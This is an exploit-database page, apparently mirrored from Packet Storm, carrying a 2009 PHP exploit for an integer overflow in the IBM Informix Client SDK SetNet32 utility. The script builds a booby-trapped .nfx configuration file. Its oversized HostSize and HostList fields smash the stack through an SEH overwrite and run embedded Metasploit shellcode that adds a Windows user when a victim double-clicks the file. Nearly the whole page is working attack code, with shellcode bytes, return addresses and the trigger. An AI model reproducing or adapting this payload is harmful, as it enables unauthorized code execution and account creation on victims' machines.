Lucene search
K

IBM Informix Client SDK 3.0 SetNet32 File Integer Overflow

🗓️ 05 Oct 2009 00:00:00Reported by Nine:Situations:Group::BruiserType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

IBM Informix Client SDK 3.0 SetNet32 File Integer Overflow exploit for Windows O

Code
`<?php  
/* IBM Informix Client SDK 3.0 SetNet32 File (.nfx) Hostsize integer overflow exploit  
(2k3 sp0)  
by Nine:Situations:Group::bruiser  
site: http://retrogod.altervista.org/  
  
vulnerable packages: IBM Informix Client SDK 3.0,  
IBM Informix Connect Runtime 3.x,  
possibly other products carrying the setnet32 utility.  
  
User-supplied value for the Hostsize field results in an integer overflow and  
subsequently a complete stack smash by passing an overlong string to the HostList  
one allowing an attacker to execute arbitrary code.  
All modules in memory are compiled with /SAFESEH=on but it's still possible to  
execute arbitrary code by passing a certain trusted handler from kernel32.dll.  
We fall in a more convenient condition with eip overwritten: now ebp register  
points to a portion of our buffer. So this is context-dependent, try aganst  
another OS.  
Other attacks are possible through the ProtoSize or ServerSize fields.  
It works by double clicking on the resulting .nfx file.  
  
*/  
  
# windows/adduser - 436 bytes  
# http://www.metasploit.com  
# Encoder: x86/alpha_mixed  
# EXITFUNC=seh, USER=sun, PASS=tzu  
$_scode=  
"\x89\xe1\xd9\xc2\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49\x49" .  
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .  
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .  
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .  
"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x45\x50" .  
"\x43\x30\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x45\x55" .  
"\x43\x48\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b" .  
"\x51\x4f\x47\x50\x45\x51\x4a\x4b\x47\x39\x4c\x4b\x46\x54" .  
"\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c" .  
"\x4d\x54\x49\x50\x44\x34\x44\x47\x49\x51\x49\x5a\x44\x4d" .  
"\x45\x51\x48\x42\x4a\x4b\x4b\x44\x47\x4b\x51\x44\x47\x54" .  
"\x44\x44\x44\x35\x4b\x55\x4c\x4b\x51\x4f\x47\x54\x45\x51" .  
"\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" .  
"\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51" .  
"\x4a\x4b\x4c\x49\x51\x4c\x47\x54\x45\x54\x48\x43\x51\x4f" .  
"\x46\x51\x4c\x36\x43\x50\x46\x36\x42\x44\x4c\x4b\x51\x56" .  
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x44\x30\x45\x4c" .  
"\x4e\x4d\x4c\x4b\x45\x38\x44\x48\x4b\x39\x4a\x58\x4c\x43" .  
"\x49\x50\x43\x5a\x50\x50\x43\x58\x4c\x30\x4d\x5a\x45\x54" .  
"\x51\x4f\x45\x38\x4d\x48\x4b\x4e\x4d\x5a\x44\x4e\x51\x47" .  
"\x4b\x4f\x4d\x37\x45\x33\x42\x4d\x45\x34\x46\x4e\x45\x35" .  
"\x44\x38\x43\x55\x51\x30\x46\x4f\x45\x33\x47\x50\x42\x4e" .  
"\x42\x45\x43\x44\x47\x50\x44\x35\x42\x53\x43\x55\x42\x52" .  
"\x47\x50\x43\x43\x43\x45\x42\x4e\x51\x30\x43\x44\x43\x4a" .  
"\x43\x45\x51\x30\x46\x4f\x51\x51\x47\x34\x47\x34\x51\x30" .  
"\x46\x46\x47\x56\x47\x50\x42\x4e\x45\x35\x43\x44\x51\x30" .  
"\x42\x4c\x42\x4f\x43\x53\x43\x51\x42\x4c\x42\x47\x42\x52" .  
"\x42\x4f\x42\x55\x42\x50\x51\x30\x51\x51\x45\x34\x42\x4d" .  
"\x43\x59\x42\x4e\x45\x39\x43\x43\x42\x54\x43\x42\x43\x51" .  
"\x43\x44\x42\x4f\x44\x32\x42\x53\x47\x50\x42\x53\x44\x35" .  
"\x42\x4e\x47\x50\x46\x4f\x47\x31\x50\x44\x47\x34\x45\x50" .  
"\x41\x41";  
  
$____boom =  
"[Setnet32]\r\n".  
"Format=\x203.00\x203.00.TC1\x20\x20\r\n".  
"[ENVIRONMENT]\r\n".  
"CC8BITLEVEL=\r\n".  
"CLIENT_LOCALE=EN_US.8859-1\r\n".  
"COLLCHAR=\r\n".  
"CONRETRY=\r\n".  
"CONTIME=\r\n".  
"DB2CLI=\r\n".  
"DBANSIWARN=\r\n".  
"DBDATE=\r\n".  
"DBLANG=EN_US.CP1252\r\n".  
"DBMONEY=\r\n".  
"DBNLS=\r\n".  
"DBPATH=\r\n".  
"DBTEMP=\r\n".  
"DBTIME=\r\n".  
"DELIMIDENT=n\r\n".  
"ESQLMF=\r\n".  
"FET_BUF_SIZE=\r\n".  
"BIG_FET_BUF_SIZE=\r\n".  
"IFX_MULTIPREPSTMT=\r\n".  
"GL_DATE=\r\n".  
"GL_DATETIME=\r\n".  
"IFX_EXTDIRECTIVES=\r\n".  
"IFX_XASTDCOMPLIANCE_XAEND=\r\n".  
"IFX_DIRTY_WAIT=\r\n".  
"INFORMIXDIR=C:\Program\x20Files\IBM\Informix\Connect\\r\n".  
"INFORMIXSERVER=aaaaaaaaaaaa\r\n".  
"INFORMIXSQLHOSTS=\r\n".  
"LANG=\r\n".  
"LC_COLLATE=\r\n".  
"LC_CTYPE=\r\n".  
"LC_MONETARY=\r\n".  
"LC_NUMERIC=\r\n".  
"LC_TIME=\r\n".  
"DBALSBC=\r\n".  
"DBAPICODE=\r\n".  
"DBASCIIBC=\r\n".  
"DBCENTURY=\r\n".  
"DBCODESET=\r\n".  
"DBCONNECT=\r\n".  
"DBCSCONV=\r\n".  
"DBCSOVERRIDE=\r\n".  
"DBCSWIDTH=\r\n".  
"DBFLTMSK=\r\n".  
"DBMONEYSCALE=\r\n".  
"DBSS2=\r\n".  
"DBSS3=\r\n".  
"IFX_AUTOFREE=\r\n".  
"IFX_DEFERRED_PREPARE=\r\n".  
"NODEFDAC=\r\n".  
"OPTMSG=\r\n".  
"OPTOFC=\r\n".  
"IFX_USE_PREC_16=\r\n".  
"IFX_PAD_VARCHAR=\r\n".  
"NOZEROMDY=\r\n".  
"BLANK_STRINGS_NOT_NULL=\r\n".  
"IFX_FLAT_UCSQ=\r\n".  
"[Size]\r\n".  
"CLIENT_LOCALE=12\r\n".  
"DB_LOCALE=0\r\n".  
"NumOfHosts=999\r\n".  
"NumOfServers=1\r\n".  
"NumOfProtocols=9\r\n".  
"ServerSize=16\r\n".  
  
"HostSize=1517\r\n". //boom!!  
  
"ProtoSize=16\r\n".  
"[Lists]\r\n".  
"INFORMIXSERVERLIST=aaaa;\r\n".  
"HostList=".  
  
str_repeat("\x90",312).  
  
$_scode.  
  
str_repeat("\x90",1115 - strlen($_scode)).  
  
"\xe9\x01\xfb\xff\xff". //jmp back to shellcode  
"\x90\x90\x90\x90". //junk, this is overwritten in some way  
"\x87\x35\xe4\x77". //pointer to the next SEH record  
"\x87\x35\xe4\x77". //SE handler, a registered one from kernel32.dll  
"\xC0\xF0\x03\xF1". //do not touch  
"\x41\x41\x41\x41". //do not touch  
"\x9b\x71\xd8\x77". //call ebp, user32.dll and further jno short  
str_repeat("\x9b\x71\xd8\x77",64). //do not touch  
";\r\n".  
"PROTOCOLLIST=olsoctcp;onsoctcp;olsocspx;onsocspx;sesoctcp;sesocspx;seipcpip;olipcnmp;onipcnmp;\r\n".  
"[__infx_sqlhost_aaaaaaaaaaaaaaa]\r\n".  
"HOST=\r\n".  
"SERVICE=1527\r\n".  
"PROTOCOL=olsoctcp\r\n".  
"OPTIONS=\r\n".  
"[__infx_host_192.168.0.1]\r\n".  
"USER=informix\r\n".  
"PASS=EP\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20".  
"\x200\x20\x200\x20\x200\x20\x200\x20\x200\r\n".  
"AskPassword=P\r\n".  
"[__infx_host_192.168.0.2]\r\n".  
"USER=aaaa\r\n".  
"PASS=EP\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x2049\x20\x200\x20\x200\x20\x20".  
"0\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\r\n".  
"AskPassword=P\r\n".  
"[__infx_host_192.168.0.3]\r\n".  
"USER=informix\r\n".  
"PASS=EP\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x20".  
"0\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\r\n".  
"AskPassword=P\r\n".  
"\x00";  
  
file_put_contents("9sg.nfx",$____boom);  
?>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2009 00:00Current
0.5Low risk
Vulners AI Score0.5
19